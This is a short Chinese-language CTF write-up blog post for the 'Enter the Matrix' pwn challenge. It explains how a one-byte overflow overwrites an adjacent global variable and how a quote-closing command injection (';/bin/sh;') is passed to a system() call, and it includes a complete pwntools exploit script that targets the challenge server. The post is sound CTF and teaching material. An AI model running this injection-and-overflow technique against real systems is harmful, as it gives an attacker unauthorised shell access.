[backdoor] Enter the Matrix

 

这手法有点类似盲注了

 

进入程序首先输入choice 然后输入name

只有1,2,3才能退出while  正常的话只能执行 red,blue和exit函数

red里面没什么东西

blue内容如上 是一个矩阵乘法 然后判断相等

如果相等 可以调用zion函数

printf_command内容是 “ printf '%s\\n' ” 就是把%s替换为name 然后system调用

这里如果name里面含有 " /sh " 的字眼就好了

不过blue前面还有一个name的判断 

我当时的想法是strcmp函数截断判断,然后构造单位矩阵和原矩阵相乘 最终执行/sh

不过strcmp是\0截断(我当时以为是\n截断) \0截断的话就没办法执行后面的/sh

无可奈何地瞪眼,发现用到的变量都是全局变量,去data段看了看,发现了突破口

choice和name的位置关系十分的友好

其次get_input_n函数是可以溢出一位的

把choice覆盖为0就可以调用zion函数了

 

这里的name构造就有点像盲注了

首先把前面的单引号闭合,构造完整的printf语句

然后跟上/bin/sh  最后闭合后边的单引号

完整的name =  “ ';/bin/sh;' ”

尽管运行后边的'\\n'会报错 但是这之前我们已经getshell了

 

本地打通 远程没打通

from pwn import *

# io=process('./matrix')
io=remote('hack.bckdr.in',12002)

print io.sendlineafter('Choice:\n','2')

payload="';/bin/sh;'"
payload=payload+'A'*(64-len(payload))
payload+=p32(0)
io.sendlineafter('name:\n',payload)

io.interactive()
# name = ';/bin/sh;'
# size = 7
# printf '%s\\n'

 

 

posted @ 2019-12-09 16:41  Papayo  阅读(259)  评论(0编辑  收藏  举报